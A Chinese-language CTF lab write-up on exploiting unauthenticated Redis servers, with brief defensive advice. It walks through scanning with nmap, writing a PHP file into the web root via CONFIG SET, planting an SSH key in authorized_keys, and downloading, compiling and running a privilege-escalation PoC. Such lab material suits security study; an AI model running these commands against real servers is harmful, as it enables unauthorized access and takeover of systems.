0%

CTF-Redis未授权访问漏洞利用与防御

Redis未授权访问漏洞利用与防御

Redis漏洞

1
Redis配置不当可导致未授权访问,被恶意利用。部分服务器上的Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),以及该端口可通过公网直接访问,如果没有采取相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务器直接暴露在公网上,可能造成其他用户直接在非授权情况下直接访问呢Redis服务并进行相关操作。

Redis服务实验环境搭建

kali linux下环境搭建:

1、Redis安装包下载与安装

1
2
3
4
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0
cd redis-3.2.0
make

2、配置Redis

1
2
3
vim redis.conf
1、bind 127.0.0.1 前面加上#
2、protected-mode设为no

3、加载配置文件启动Redis服务

1
2
cd src
redis-server ../redis-conf

4、查看6379端口是否启动

1
nmap -A -p 6379 --script redis-info +redis服务器ip地址

通过连接redis服务,执行info命令,探测出当前redis存在未授权访问漏洞

Redis客户端连接服务端

1
redis-cli -h +redis服务器ip地址

Redis未授权漏洞利用

利用漏洞 写入webshell

1
2
3
4
config set dir /var/www/html
set x "\n\n\n<?php phpinfo();?>\n\n\n"
config set dbfilename webshell.php
save\\保存文件
1
由可写webshell到指定路径,就可以写其他具有权限的文件,如计划任务,ssh密钥文件。

Redis漏洞防御

1、增加密码认证

1
2
#requirepass foobared
requirepass +密码

2、绑定内网ip地址

1
bind 127.0.0.1

Redis未授权添加ssh密钥

1、nmap探测目标是否存在redis服务(6379)

1
nmap -p 端口 ip

2、测试redis服务是否存在未授权访问

1
2
3
redis-cli -h 服务端地址
info

3、ssh密钥生成

1
2
3
4
ssh-keygen -t rsa
cd ~/.ssh/
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") >public.txt
两个换行

4、 上传密钥

1
2
3
4
5
6
7
cat public.txt |redis-cli -h ip -x set x //将文件内容读取到变量x,通过-x执行相关命令,相当于set x=public.txt文件内容

redis-cli -h ip config set dir "/home/user/.ssh/" user需要破解,可尝试直接访问/~/.ssh/

redis-cli -h ip config set dbfilename authorized_keys

redis-cli -h ip save
1
2
3
4
5
6
7
8
9
10
11
12
13
ssh -l user -i id_rsa ip
连接失败
扫描22端口
nmap -p 22 ip
22端口关闭
扫描所有端口
namp -p 1-65535 -T4 -n -v ip

发现一个novation服务也是ssh服务标识

ssh -l user -p 1322 -i
用户名还是需要爆破的,后面连接需要用到。
不具有最高权限

5、提权

1
2
3
4
5
6
7
8
9
10
11
uname -a 
查看版本相关信息
百度搜索相关漏洞
https://www.exploit-db.com/

mkdir tmp
cd tmp
wget ... poc.c 下载相关漏洞
gcc poc.c
然后执行新生成的文件

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道